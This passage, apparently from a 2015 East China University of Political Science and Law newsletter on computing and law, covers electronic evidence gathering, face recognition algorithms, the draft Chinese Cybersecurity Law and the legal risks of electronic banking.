今 社 会 生 活 的 影 响, 其 已 对 传 统 意 义 上 的 书 面 原 件 文 书 等 概 念 产 生 了 冲 击, 但 在 具 体 应 用 中, 究 竟 如 何 取 得 电 子 证 据 电 子 证 据 的 证 明 力 有 多 大 能 否 用 电 子 证 据 定 案 等 问 题 都 没 有 详 细 的 规 定, 缺 少 有 力 的 法 律 支 持 ( 二 ) 司 法 人 员 意 识 淡 薄 经 验 丰 富 的 侦 查 人 员 都 有 一 套 自 己 认 为 行 之 有 效 的 侦 查 手 段, 而 这 些 手 段 往 往 是 比 较 传 统 的, 例 如 传 统 的 搜 查 一 定 的 讯 问 技 巧 等 等, 并 且 也 都 不 愿 轻 易 改 变 这 些 手 段, 这 就 使 他 们 淡 化 了 对 电 子 证 据 的 提 取 笔 者 曾 经 在 一 次 调 研 时 向 一 位 检 察 机 关 的 资 深 职 务 犯 罪 侦 查 人 员 提 问 : 你 们 在 侦 查 取 证 过 程 中, 为 什 么 不 对 犯 罪 嫌 疑 人 的 手 机 进 行 数 据 分 析, 看 看 是 否 可 以 得 到 有 价 值 的 信 息? 他 的 回 答 很 干 脆 : 只 要 能 把 人 带 来, 就 不 怕 他 不 交 代, 做 那 些 分 析 没 什 么 用 当 然, 他 所 说 的 不 怕 他 不 交 代 并 没 有 刑 讯 逼 供 的 意 思, 只 是 他 们 多 年 积 累 的 讯 问 经 验 的 体 现 不 过 通 过 他 的 回 答, 可 以 折 射 出 一 线 侦 查 人 员 对 获 取 电 子 证 据 意 识 的 淡 薄 ( 三 ) 缺 乏 专 业 鉴 定 人 员 和 鉴 定 机 构 电 子 证 据 涉 及 的 专 业 技 术 性 很 强, 在 获 取 和 鉴 定 过 程 中, 相 关 人 员 既 要 有 计 算 机 相 关 知 识 又 要 有 法 律 知 识, 而 这 两 个 专 业 的 跨 度 又 相 当 大, 导 致 这 样 的 人 才 非 常 少 设 立 鉴 定 机 构 的 条 件 就 更 加 苛 刻, 首 先 需 要 有 三 名 具 有 相 同 鉴 定 资 质 的 鉴 定 人 才 能 设 立 相 应 的 鉴 定 机 构 这 些 有 限 的 鉴 定 机 构 基 本 都 是 定 向 服 务 于 公 检 法 等 机 关, 面 向 社 会 提 供 电 子 证 据 鉴 定 额 机 构 还 没 有 相 关 链 接 :

65 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 计 算 机 到 底 是 怎 么 识 别 人 脸 的? 腾 讯 顾 新 书 2015 年 11 月 24 日 14:18 [ 摘 要 ] 为 了 识 别 一 张 新 的 人 脸, 需 要 从 该 人 脸 中 找 到 基 准 点, 提 取 出 一 个 人 脸 图 腾 讯 科 技 精 选 优 质 自 媒 体 文 章, 文 中 所 述 为 作 者 独 立 观 点, 不 代 表 腾 讯 科 技 立 场 文 / 蝌 蚪 五 线 谱 ( 微 信 公 众 号 : 顾 新 书 ) 人 脸 识 别 技 术 经 历 了 近 四 十 年 的 发 展, 在 近 年 来 逐 步 涌 现 出 了 一 批 可 以 投 入 实 际 应 用 的 成 果 如 谷 歌 ( 微 博 ) 眼 镜 中 的 身 份 识 别 智 能 手 机 上 的 人 脸 解 锁 等 功 能 正 渐 渐 影 响 着 我 们 的 生 活, 而 指 定 人 脸 识 别 等 应 用 更 是 早 早 地 进 入 了 安 防 领 域 的 最 前 线 那 么, 计 算 机 到 底 是 怎 么 识 别 人 脸 的 呢? 在 这 项 技 术 的 发 展 过 程 中 曾 经 出 现 过 大 量 的 识 别 算 法 这 些 算 法 的 涉 及 面 非 常 广 泛, 包 括 模 式 识 别 图 像 处 理 计 算 机 视 觉 人 工 智 能 统 计 学 习 神 经 网 络 小 波 分 析 子 空 间 理 论 和 流 形 学 习 等 众 多 学 科 但 归 根 结 底, 很 多 算 法 都 是 以 特 征 脸 方 法 为 基 础 展 开 的 这 个 方 法 主 要 是 利 用 主 分 量 分 析, 对 人 脸 进 行 降 维 和 提 取 特 征 它 实 际 上 相 当 于 把 所 有 的 人 脸 向 量 化, 数 字 化, 然 后 从 参 考 用 的 那 些 人 脸 数 据 ( 称 为 训 练 集 ) 中 找 出 与 当 前 要 识 别 的 人 脸 数 据 对 应 的 几 个 特 征 值, 构 成 一 组 特 征 向 量 基, 以 达 到 表 征 原 数 据 的 目 的 因 为 由 主 分 量 分 析 提 取 出 来 的 特 征 向 量 在 返 回 成 图 像 时, 看 上 去 仍 像 人 脸, 所 以 这 些 特 征 向 量 也 被 称 为 特 征 脸

66 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 从 上 图 中 我 们 可 以 看 到, 任 何 一 幅 人 脸 图 象 减 去 平 均 人 脸 后 都 可 投 影 到 该 子 空 间, 得 到 一 组 权 值 向 量 该 方 法 实 际 上 是 计 算 了 此 向 量 和 训 练 集 中 每 个 人 的 权 值 向 量 之 间 的 欧 式 距 离, 取 最 小 距 离 所 对 应 的 人 脸 图 像 的 身 份 作 为 测 试 人 脸 图 像 的 身 份 打 个 比 方, 这 就 像 是 警 察 局 里 指 认 嫌 疑 人 时 所 用 的 拼 脸 方 法, 它 以 一 个 基 础 脸 型 为 底, 将 合 适 的 眼 睛 眉 毛 等 五 官 放 上 去, 最 终 组 成 一 个 与 嫌 疑 人 最 像 的 人 脸 图 计 算 机 所 做 的 事 情 也 大 致 如 此, 只 是 它 的 眼 睛 眉 毛 等 五 官 更 加 抽 象 在 此 的 基 础 上, 又 开 发 出 了 弹 性 图 匹 配 的 方 法 它 把 所 有 人 脸 图 像 看 做 具 有 相 似 的 拓 扑 结 构, 不 注 重 角 度, 长 度 等 量 化 的 性 质, 而 侧 重 于 变 换 后 图 形 的 不 变 性 质 所 以 它 还 有 一 个 很 形 象 的 名 称, 叫 橡 皮 泥 几 何 在 这 种 方 法 中, 所 有 的 人 脸 可 以 表 示 成 类 似 的 拓 扑 图, 图 中 的 节 点 是 一 些 基 准 点 ( 如 眼 睛, 鼻 尖 等 ), 图 中 的 边 则 是 这 些 基 准 点 之 间 的 连 线 为 了 识 别 一 张 新 的 人 脸, 需 要 从 该 人 脸 中 找 到 基 准 点, 提 取 出 一 个 人 脸 图, 令 这 幅 图 和 现 有 的 人 脸 束 图 之 间 的 相 似 度 最 大 经 过 弹 性 图 匹 配 后, 新 的 人 脸 束 图 将 被 提 取 出 来, 用 它 作 为 特 征 进 行 识 别, 并 计 算 测 试 人 脸 和 现 有 人 脸 束 图 之 间 的 所 有 相 似 度, 相 似 度 最 大 的 人 脸 的 身 份 即 为 测 试 人 脸 的 身 份

67 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 这 个 方 法 在 弹 性 匹 配 的 过 程 中, 网 格 的 形 状 会 随 着 特 征 点 的 搜 索 而 不 断 变 化, 因 此 对 姿 态 的 变 化 也 具 有 一 定 的 自 适 应 性 但 它 在 搜 索 过 程 中 以 代 价 函 数 优 化 的 计 算 量 巨 大, 识 别 速 度 较 慢 以 上 都 是 静 态 图 像 的 情 况 在 视 频 监 控 信 息 安 全 和 出 入 控 制 等 应 用 中, 基 于 视 频 的 人 脸 识 别 是 一 个 非 常 重 要 的 问 题, 也 是 目 前 人 脸 识 别 的 热 点 和 难 点 一 个 典 型 的 基 于 视 频 静 态 图 像 的 人 脸 识 别 系 统 一 般 都 是 自 动 检 测 人 脸 区 域, 从 视 频 中 提 取 特 征, 最 后, 如 果 人 脸 存 在 则 识 别 出 人 脸 的 身 份 现 在, 在 上 述 方 法 的 基 础 上 加 入 了 人 脸 跟 踪 方 法 在 这 类 系 统 中, 通 过 利 用 姿 态 和 从 视 频 中 估 计 到 的 深 度 信 息 合 成 一 个 虚 拟 的 正 面 人 脸 这 个 阶 段 的 另 外 一 个 能 提 高 识 别 率 的 方 法 是 利 用 视 频 中 充 裕 的 帧 图 像, 对 每 一 帧 图 像 进 行 识 别 这 等 于 是 把 大 量 的 静 态 识 别 结 果 堆 叠 起 来, 然 后 使 用 投 票 机 制 选 出 最 受 支 持 的 结 果 近 两 年, 视 频 人 脸 识 别 技 术 有 了 进 一 步 的 发 展, 这 个 阶 段 的 特 点 是 同 时 采 用 空 间 信 息 ( 在 每 帧 中 ) 和 时 间 信 息 ( 比 如 人 脸 特 征 的 运 动 轨 迹 ), 做 出 更 准 确 的 判 断 和 前 述 的 投 票 的 不 同 之 处 在 于, 此 类 方 法 可 以 在 时 间 和 空 间 的 联 合 空 间 中 描 述 人 脸 和 识 别 人 脸, 因 此 更 加 精 准 可 以 想 象, 在 不 远 的 未 来, 人 脸 识 别 技 术 会 悄 无 声 息 地 融 入 我 们 的 生 活 比 如 参 加 宴 会 时, 我 们 要 它 帮 助 识 别 陌 生 人, 以 更 好 地 展 开 交 际 整 理 资 料 时, 它 又 可 以 帮 助 我 们 用 最 快 的 速 度 将 影 像 文 件 按 人 归 档 将 这 些 细 小 的 变 化 累 加 起 来, 将 让 我 们 的 生 活 更 加 便 捷 相 关 链 接 : 网 络 安 全 法 ( 草 案 ) 条 文 梳 理 与 热 点 剖 析 来 源 : 环 球 律 师 事 务 所 作 者 : 方 建 伟 买 峥 峥 前 言 : 中 华 人 民 共 和 国 网 络 安 全 法 ( 草 案 ) 于 2015 年 7 月 6 日 公 布 并 向 社 会 公 开 征 求 意 见 草 案 明 确 规 定 国 家 网 络 主 权 原 则, 保 障 关 键 信 息 基 础 设 施 安 全, 而 其 中 对 公 民 个 人 信 息 的 保 护 及 实 名 登 记 制 度 更 切 实 涉 及 民 众 利 益 本 文 将 对 草 案 条 文 进 行 梳 理 解 读, 亦 会 浅 议 公 民 权 利 保 护 及 对 在 华 外 企 影 响 等 备 受 关 注 的 话 题 网 络 安 全 的 重 要 性 近 年 来 日 益 彰 显, 并 成 为 一 个 国 际 性 问 题 习 近 平 主 席 2015 年 9 月 23 日 在 西 雅 图 微 软 公 司 总 部 出 席 中 美 互 联 网 论 坛 时 强 调, 一 个 安 全 稳 定 繁 荣 的 网 络 空 间, 对 一 国 乃 至 世 界 和 平 与 发 展 越 来 越 具 有 重 大 意 义 中 国 倡 导 建 设 和 平 安 全 开 放 合 作 的 网 络 空 间, 主 张 各 国 制 定 符 合 自 身 国 情 的 互 联 网 公 共 政 策 [ 尾 注 1] 对 于 网 络 和 信 息 技 术 公 司 而 言, 网 络 的 安 全 性 对 于 其 业 务 运 营 无 疑 是 至 关 重 要 的 此 外, 由 于 很 多 传 统 行 业 纷 纷 开 始 触 网, 网 络 安 全 也 成 为 这 些 行 业 日 益 关 心 的 议 题 关 于 网 络 安 全, 继 此 前 对 我 国 个 人 信 息 和 网 络 安 全 保 护 进 行 立 法 梳 理, 笔 者 将 着 重 分 析 全 国 人 大 在 2015 年 7 月 6 日 公 布 并 向 公 众 征 求 意 见 的 中 华 人 民 共 和 国 网 络 安 全 法 ( 草 案 ) [ 尾 注 2]( 网 络 安 全 法 ( 草 案 ) 或 草 案 ) 事 实 上 除 网 络 安 全 法 ( 草 案 ) 外, 全 国 人 大 常 委 会 法 工 委 中 央 网 络 安 全 和 信 息 化 领 导 小 组 还 在 牵 头 起 草 电 子 商 务 法 未 成 年 人 网 络 保 护 条 例, 加 上 新 修 订 的 互 联 网 新 闻 信 息 服 务 管 理 规 定, 预 计 今 后 五 年 将 形 成 较 为 完 善 的 互 联 网 法 律 体 系 毋 庸 置 疑, 未 来 网 络 安 全 法 的 正 式 颁 布 将 不 仅 会 成 为 我 国 网 络 法 制 化 进 程 的 里 程 碑, 亦 同 样 会 深 刻 影 响 国 际 网 络 空 间 格 局 战 略 一 网 络 安 全 法 ( 草 案 ) 之 条 文 梳 理

68 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 网 络 安 全 法 ( 草 案 ) 共 七 章 六 十 八 条, 主 要 涵 盖 如 下 方 面 : 一 是 贯 彻 网 络 主 权 原 则, 在 草 案 第 二 章 对 国 家 网 络 安 全 战 略 和 重 要 领 域 安 全 规 划 等 问 题 专 章 规 定 二 是 明 确 关 键 信 息 基 础 设 施 安 全 的 战 略 地 位 和 价 值, 保 障 网 络 产 品 和 服 务 的 安 全 ; 其 中 列 入 关 键 信 息 基 础 设 施 范 围 的, 包 括 基 础 信 息 网 络 重 要 行 业 和 领 域 的 重 要 信 息 系 统 军 事 网 络 重 要 政 务 网 络 用 户 数 量 众 多 的 商 业 网 络 等 三 是 保 障 网 络 数 据 安 全, 包 括 对 网 络 运 营 者 的 要 求, 加 强 对 公 民 个 人 信 息 的 保 护, 要 求 关 键 信 息 基 础 设 施 的 运 营 者 在 境 内 存 储 公 民 个 人 信 息 等 重 要 数 据 四 是 共 享 国 家 网 络 安 全 相 关 信 息, 建 设 网 络 安 全 监 督 管 理 体 制 [ 尾 注 3] 整 体 阅 读 草 案 后, 如 下 几 点 令 人 印 象 深 刻 : 1. 网 络 运 营 者 的 多 项 义 务 网 络 安 全 法 ( 草 案 ) 第 六 十 五 条 对 网 络 运 营 者 定 义 为, 网 络 的 所 有 者 管 理 者 以 及 利 用 他 人 所 有 或 者 管 理 的 网 络 提 供 相 关 服 务 的 网 络 服 务 提 供 者, 包 括 基 础 电 信 运 营 者 网 络 信 息 服 务 提 供 者 重 要 信 息 系 统 运 营 者 等 草 案 规 定, 网 络 运 营 者 应 按 照 网 络 等 级 保 护 制 度 要 求 保 障 网 络 产 品 和 服 务 安 全 ( 十 七 条 ), 践 行 实 名 登 记 ( 二 十 条 ), 制 定 安 全 事 件 应 急 预 案 ( 二 十 一 条 ), 为 国 家 安 全 协 助 侦 查 机 关 ( 二 十 三 条 ), 保 护 公 民 个 人 信 息 隐 私 和 商 业 秘 密 ( 三 十 四 条 ~ 三 十 七 条 ) 其 中, 网 络 运 营 者 要 及 时 向 用 户 告 知 安 全 缺 陷 漏 洞 等 风 险, 持 续 提 供 安 全 维 护 服 务 关 于 保 障 网 络 数 据 安 全, 草 案 则 要 求 网 络 运 营 者 采 取 数 据 分 类 重 要 数 据 备 份 和 加 密 等 措 施, 防 止 网 络 数 据 被 窃 取 或 者 篡 改 2. 重 大 突 发 事 件 可 限 制 网 络 关 于 监 测 预 警 与 应 急 处 置, 草 案 规 定 国 家 建 立 网 络 安 全 监 测 预 警 和 信 息 通 报 制 度 国 家 网 信 部 门 统 筹 协 调 有 关 部 门 加 强 网 络 安 全 信 息 收 集 分 析 和 通 报 工 作, 按 照 规 定 统 一 发 布 网 络 安 全 监 测 预 警 信 息 草 案 第 五 十 条 规 定, 因 维 护 国 家 安 全 和 社 会 公 共 秩 序, 处 置 重 大 突 发 社 会 安 全 事 件 的 需 要, 国 务 院 或 者 省 自 治 区 直 辖 市 人 民 政 府 经 国 务 院 批 准, 可 以 在 部 分 地 区 对 网 络 通 信 采 取 限 制 等 临 时 措 施 这 意 味 着, 该 法 律 一 旦 通 过, 经 国 务 院 批 准 可 以 在 发 生 大 规 模 事 件 时 按 下 安 全 开 关, 切 断 互 联 网 的 连 接, 也 由 此 一 度 引 发 临 时 断 网, 你 做 好 准 备 了 么 的 热 搜 对 此, 美 国 外 交 学 会 的 中 国 问 题 和 网 络 安 全 专 家 史 国 力 评 论 道, 中 国 越 来 越 担 忧 自 己 没 有 合 适 的 法 规 保 护 和 应 对 措 施, 确 实 需 要 在 应 对 可 能 发 生 的 网 络 攻 击 方 面 有 一 些 法 规 [ 尾 注 4] 3. 实 名 登 记 将 全 面 覆 盖 草 案 第 二 十 条 规 定, 网 络 运 营 者 为 用 户 办 理 网 络 接 入 域 名 注 册 服 务, 办 理 固 定 电 话 移 动 电 话 等 入 网 手 续, 或 者 为 用 户 提 供 信 息 发 布 服 务, 应 当 在 与 用 户 签 订 协 议 或 者 确 认 提 供 服 务 时, 要 求 用 户 提 供 真 实 身 份 信 息 用 户 不 提 供 真 实 身 份 信 息 的, 网 络 运 营 者 不 得 为 其 提 供 相 关 服 务 虽 然 实 践 中 实 名 登 记 制 度 已 经 逐 步 推 行, 但 此 次 立 法 则 试 图 将 实 名 制 全 面 覆 盖, 其 主 要 包 括 : 一 是 网 络 接 入, 包 括 宽 带 接 入 商 对 个 人 用 户 及 信 息 服 务 商 的 实 名 登 记 ; 二 是 域 名 注 册, 即 要 求 域 名 申 请 者 提 交 身 份 信 息 ; 三 是 固 定 电 话 移 动 电 话 用 户 在 办 理 入 网 手 续 时 应 提 交 真 实 身 份 信 息 ; 四 是 网 络 信 息 发 布, 目 前 推 测 可 能 涵 盖 论 坛 博 客 微 博 等 实 名 登 记 制 度 的 贯 彻 对 网 络 安 全 将 产 生 一 定 积 极 意 义, 但 是 如 何 把 握 尺 度 更 为 重 要 如 果 不 符 合 比 例 要 求, 则 可 能 被 解 读 为 强 迫 用 户 实 名 并 对 其 在 网 络 中 的 活 动 进 行 审 查 评 论 人 士 认 为, 由 于 我 国 公 民 没 有 其 他 渠 道 表 达 个 人 意 见 发 泄 不 满 和 推 动 公 共 政 策 改 变, 过 度 限 制 或 审 查 可 能 致 使 网 民 无 法 对 政 府 进 行 和 平 评 论 或 批 评 二 网 络 安 全 法 ( 草 案 ) 之 热 点 剖 析

69 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 据 不 完 全 统 计, 草 案 在 向 公 众 征 集 意 见 的 一 个 月 内, 中 国 人 大 网 已 收 到 超 过 三 千 条 意 见 [ 尾 注 5] 经 整 理 网 民 及 专 家 意 见, 诸 多 热 点 议 题 值 得 关 注 : 1. 公 民 权 利 保 护 有 待 加 强 草 案 第 九 条 规 定, 国 家 保 护 公 民 法 人 和 其 他 组 织 依 法 使 用 网 络 的 权 利, 促 进 网 络 接 入 普 及, 提 升 网 络 服 务 水 平, 为 社 会 提 供 安 全 便 利 的 网 络 服 务, 保 障 网 络 信 息 依 法 有 序 自 由 流 动 纵 观 草 案, 除 该 条 有 宣 誓 性 质 的 条 款 外, 对 于 公 民 权 利 更 加 具 体 的 保 障 较 为 薄 弱 中 国 互 联 网 协 会 发 布 的 中 国 网 民 权 益 保 护 调 查 报 告 (2015) 显 示, 网 民 普 遍 认 为, 使 用 互 联 网 产 品 服 务 时 最 重 要 的 权 益 系 隐 私 权, 其 次 分 别 为 选 择 权 知 情 权 安 宁 权 和 被 遗 忘 权 近 一 年 来, 网 民 因 个 人 信 息 泄 露 垃 圾 信 息 诈 骗 信 息 等 现 象 导 致 的 总 体 损 失 约 805 亿 元 [ 尾 注 6] 尽 管 草 案 对 于 泄 露 个 人 信 息 这 一 顽 疾 有 较 为 严 苛 的 规 定, 但 还 缺 乏 保 护 公 民 在 网 络 中 知 情 参 与 表 达 监 督 的 权 利 之 条 款, 仍 需 进 一 步 完 善 和 补 充 否 则, 网 络 安 全 法 将 仅 剩 下 对 政 府 管 理 的 阐 述, 通 篇 为 相 关 企 业 和 公 民 的 义 务 2. 对 在 华 外 商 产 生 持 续 影 响 草 案 的 发 布 之 所 以 触 动 外 国 媒 体, 除 了 因 其 对 我 国 国 家 网 络 安 全 的 战 略 意 义 外, 更 由 于 未 来 新 法 律 的 出 台 将 会 对 在 华 经 商 的 外 国 企 业 产 生 深 远 影 响, 甚 至 有 人 认 为 这 对 外 国 企 业 来 说 是 一 个 坏 消 息 [ 尾 注 7] 草 案 第 三 十 一 条 规 定, 关 键 信 息 基 础 设 施 的 运 营 者 应 当 在 中 国 境 内 存 储 在 运 营 中 收 集 和 产 生 的 公 民 个 人 信 息 等 重 要 数 据 ; 因 业 务 需 要, 确 需 在 境 外 存 储 或 者 向 境 外 的 组 织 或 者 个 人 提 供 的, 应 当 按 照 国 家 网 信 部 门 会 同 国 务 院 有 关 部 门 制 定 的 办 法 进 行 安 全 评 估 鉴 于 该 条 款 规 制 的 对 象 并 不 限 于 中 国 境 内 企 业, 这 意 味 着 在 华 经 商 的 外 国 企 业 如 果 在 中 国 境 内 存 储 国 内 收 集 的 数 据, 如 需 在 境 外 存 储 或 向 境 外 提 供, 应 征 得 政 府 部 门 许 可, 该 条 款 使 得 部 分 外 商 担 忧 在 中 国 境 内 的 业 务 可 能 会 受 到 巨 大 且 持 续 影 响 与 此 同 时, 中 国 政 府 在 网 络 安 全 法 草 案 中 规 定 了 技 术 企 业 需 要 遵 守 的 国 家 标 准 和 行 业 标 准, 外 企 也 同 样 适 用 [ 尾 注 8] 另 一 方 面, 外 国 企 业 同 样 关 心 跨 国 网 络 攻 击 行 为 的 司 法 管 辖 与 规 制, 这 是 网 络 无 边 界 与 国 家 主 权 之 间 冲 突 所 触 发 的 3. 监 管 方 式 有 待 推 敲 网 民 对 于 国 家 行 政 部 门 对 网 络 的 监 管 问 题 有 较 大 争 议, 主 要 担 忧 包 括 惩 罚 力 度 不 大 和 监 管 部 门 庞 杂 目 前 草 案 中 第 六 章 法 律 责 任 规 定 的 罚 款 最 多 为 五 十 万 元, 对 于 有 实 力 可 能 会 威 胁 互 联 网 的 企 业 来 说, 该 等 罚 款 力 度 可 起 到 的 作 用 让 人 堪 忧 另 外, 虽 然 国 家 网 信 部 门 负 责 统 筹 协 调 网 络 安 全 工 作 和 相 关 监 督 管 理 工 作, 但 考 虑 到 还 有 其 他 诸 多 部 门 参 与 监 管, 网 友 们 担 心 该 规 定 会 否 造 成 在 检 查 整 顿 时 各 部 门 一 拥 而 上, 而 在 公 民 或 企 业 寻 求 救 济 时 各 部 门 又 推 三 阻 四 由 于 目 前 程 序 性 规 定 较 为 模 糊, 如 何 有 效 监 管 而 使 企 业 合 规 守 法 尚 需 探 寻 伴 随 互 联 网 的 极 速 发 展, 网 络 几 乎 沁 入 每 一 个 人 的 日 常 生 活 网 络 安 全 法 制 化 正 在 前 进 的 道 路 上, 而 网 络 强 国 的 建 设 需 要 我 们 长 期 共 同 求 索 尾 注 : 尾 注 1 : 习 近 平 : 中 国 倡 导 建 设 和 平 安 全 开 放 合 作 的 网 络 空 间,2015 年 9 月 24 日, 中 华 人 民 共 和 国 国 家 互 联 网 信 息 办 公 室 网 站, 尾 注 2 : 网 络 安 全 法 ( 草 案 ) 全 文, 2015 年 7 月 6 日, 中 国 人 大 网, 尾 注 3 : 参 见 专 家 解 读 网 络 安 全 法 草 案 : 为 建 设 网 络 强 国 提 供 制 度 保 障,2015 年 7 月 17 日, 中 国 法 院 网,

70 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 尾 注 4 : 外 媒 评 中 国 网 络 安 全 法 草 案 : 维 护 网 络 空 间 主 权,2015 年 7 月 10 日, 参 考 消 息 网, 尾 注 5 : 网 络 安 全 法 ( 草 案 ) 征 求 意 见, 2015 年 8 月 5 日, 东 方 头 条 网, 尾 注 6 : 参 见 中 国 网 民 权 益 保 护 调 查 报 告 (2015), 第 12 页 尾 注 7 :Jonathan Vanian,How China's proposed cyber security law could impact tech companies,2015 年 7 月 8 日, 尾 注 8 : 外 媒 评 中 国 网 络 安 全 法 草 案 : 维 护 网 络 空 间 主 权, 同 上 相 关 链 接 : 环 球 律 师 事 务 所 电 子 银 行 法 律 风 险 的 几 个 问 题 2015 年 08 月 24 日 10:03 来 源 : 暨 南 学 报 2014 年 第 12 期 作 者 : 刘 颖 中 文 摘 要 近 年 来, 我 国 的 电 子 银 行 业 务 得 到 了 飞 速 发 展, 蕴 藏 了 较 大 的 风 险 法 律 风 险 是 指 违 反 或 不 遵 从 法 律 法 规 所 带 来 的 各 当 事 方 遭 受 损 失 的 可 能 性, 或 者 法 律 的 不 明 确 或 不 完 善 导 致 各 当 事 方 遭 受 的 损 失 的 可 能 性 电 子 银 行 的 法 律 风 险 包 括 两 方 面 的 内 容 : 第 一, 法 律 风 险 源 于 对 既 存 法 律 法 规 的 违 反, 此 类 风 险 可 能 使 电 子 银 行 有 关 当 事 方 面 临 民 事 行 政 或 刑 事 责 任 风 险, 也 可 能 导 致 银 行 声 誉 贬 低 业 务 机 会 受 限 拓 展 潜 力 降 低 和 缺 乏 合 同 的 可 实 施 性 等 第 二, 法 律 风 险 还 源 于 法 律 规 定 的 模 糊 或 缺 失 巴 塞 尔 银 行 监 管 委 员 会 认 为, 与 传 统 银 行 的 法 律 风 险 相 比 较, 电 子 银 行 的 法 律 风 险 新 增 了 四 个 方 面 :( 一 ) 通 过 电 子 媒 介 达 成 的 协 议 的 效 力 不 确 定 ( 二 ) 银 行 在 认 证 系 统 中 也 有 可 能 扮 演 一 种 新 的 的 角 色, 即 成 为 电 子 认 证 机 构 但 现 行 法 律 对 认 证 机 构 的 法 律 地 位 规 定 得 并 不 明 确 ( 三 ) 在 电 子 银 行 时 代, 电 子 银 行 业 务 与 电 子 货 币 行 为 给 银 行 零 售 业 务 带 来 的 新 特 点, 使 各 当 事 方 的 权 利 义 务 处 于 不 确 定 状 态 ( 四 ) 消 费 者 保 护 法 是 否 适 用 于 电 子 银 行 业 务 与 电 子 货 币 行 为 不 明 确 我 国 电 子 签 名 法 已 经 基 本 建 立 了 有 关 数 据 电 文 的 法 律 框 架, 基 本 上 可 以 防 范 第 一 类 电 子 银 行 法 律 风 险 确 定 认 证 机 构 的 法 律 地 位 的 关 键 因 素 之 一 是 认 定 认 证 机 构 与 电 子 签 名 依 赖 方 之 间 的 关 系 的 性 质, 电 子 签 名 人 与 认 证 机 构 之 间 的 合 同 属 于 德 国 法 上 的 附 保 护 第 三 人 作 用 之 合 同 美 国 统 一 商 法 典 第 4A 编 创 立 了 一 整 套 全 新 的 概 念 和 规 则, 为 建 立 电 子 银 行 法 律 制 度 提 供 了 范 例 国 家 对 电 子 商 务 中 的 消 费 者 保 护 和 对 传 统 商 务 中 的 消 费 者 应 实 行 同 等 保 护 原 则 互 联 网 金 融 的 发 展 已 经 使 得 非 金 融 机 构 事 实 上 也 在 从 事 部 分 银 行 业 务 这 进 一 步 突 显 了 我 国 电 子 银 行 相 关 法 律 法 规 的 不 完 善, 增 加 了 电 子 银 行 的 法 律 风 险 我 国 应 从 多 方 面 健 全 电 子 银 行 法 律 法 规, 减 少 电 子 银 行 法 律 法 规 不 明 确 不 完 善 引 起 的 法 律 风 险 中 文 关 键 字 电 子 银 行 ; 法 律 风 险 ; 互 联 网 金 融 ; 巴 塞 尔 银 行 监 管 委 员 会 全 文 一 电 子 银 行 法 律 风 险 的 界 定 在 实 践 中, 风 险 作 为 金 融 活 动 和 金 融 市 场 的 内 在 属 性 之 一 已 是 不 争 的 事 实 但 是, 要 在 理 论 上 为 风 险 作 一 个 准 确 的 界 定 并 非 一 件 容 易 之 事 有 学 者 认 为, 风 险 本 身 具 有 多 种 含 义, 与 其 从 某 一 领 域 的 风 险 专 家 的 定 义 中 为 风 险 找 一 个 准 确 的 定 义, 不 如 采 取 折 中 的 方 法, 在 必 要 的 时 候 采 用 他 们 自 己 的 术 语 和 定 义 在 通 常 情 况 下, 风 险 与 不 同 的 主 题 有 着 模 糊 的 联 系, 例 如, 在 金 融 领 域, 风 险 一 般 涉 及 与 投 资 决 定 相 关 的 投 机 风 险 (speculative risk), 但 是, 越 来 越 多 的 观 点 认 为 金 融 风 险 应 建 立 在 更 广 泛 的 基 础 上, 不 仅 包 括 任 何 机 构 做 出 的 决 定 的 风 险, 而 且 风 险 还 与 整 个 组 织 机 构 过 程 管 理 程 序 人 力 资 源 及 影 响 决 定 过 程 的 文 化 相 联 系 {1}41 尽 管 如 此, 仍 有 众 多 的 学 者 试 图 解 释 何 为 风 险 有 关 风 险, 有 学 者 认 为, 风 险 与 不 确 定 性 联 系 在 一 起, 风 险 是 资 产 价 值 股 票 价 格 和 盈 利 情 况 出 现 非 预 期 结 果 的 不 确 定 性,

71 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 从 广 义 上 可 分 为 商 业 风 险 和 金 融 风 险, 金 融 风 险, 指 涉 及 金 融 市 场 交 易 而 带 来 收 益 或 损 失 的 不 确 定 性, 例 如 利 率 的 变 动 {2}4 也 有 学 者 认 为, 风 险 与 损 失 相 联 系, 风 险 是 损 失 发 生 的 可 能 性, 或 可 能 发 生 的 损 失, 只 有 低 于 预 期 收 益 的 损 失 可 能 才 构 成 风 险, 金 融 风 险 所 涉 及 的 损 失, 不 仅 包 含 对 原 来 拥 有 的 资 本 成 本 的 失 去, 而 且 包 括 机 会 成 本 的 损 失 {3}15-20 还 有 学 者 认 为, 一 项 金 融 活 动 或 一 个 金 融 产 品 的 风 险 是 与 不 确 定 性 和 相 应 的 不 利 后 果 相 联 系 的 根 据 此 观 点, 一 个 金 融 产 品 的 价 格 和 收 益 的 波 动 性 可 以 用 来 衡 量 其 不 确 定 性, 但 只 有 当 此 种 不 确 定 性 可 能 给 投 资 者 带 来 损 失 时 才 构 成 这 一 投 资 载 体 的 风 险 {4}248 虽 然 存 在 不 同 的 观 点, 但 经 济 学 上 一 般 认 为, 所 谓 金 融 风 险, 是 指 人 们 在 从 事 金 融 活 动 中 遭 受 损 失 的 不 确 定 性 金 融 活 动 中 变 动 着 的 不 确 定 性 差 异 越 大, 风 险 也 就 越 大 关 于 金 融 风 险 所 涉 及 的 主 体, 又 有 狭 义 与 广 义 两 种 不 同 的 理 解 狭 义 的 理 解 认 为, 金 融 风 险 涉 及 的 范 围 仅 指 银 行 信 托 投 资 公 司 证 券 公 司 等 金 融 机 构 在 经 营 活 动 中 所 面 临 的 风 险 ; 而 广 义 的 理 解 认 为, 金 融 风 险 涉 及 社 会 经 济 生 活 的 各 个 方 面, 且 牵 涉 各 种 经 济 主 体 凡 是 由 于 经 济 主 体 在 筹 集 资 金 和 运 作 资 金 而 面 临 的 遭 受 损 失 的 不 确 定 性, 均 可 称 为 金 融 风 险 {5}21 本 文 对 金 融 风 险 采 取 广 义 的 界 定, 除 了 金 融 机 构 所 面 临 的 风 险 外, 也 将 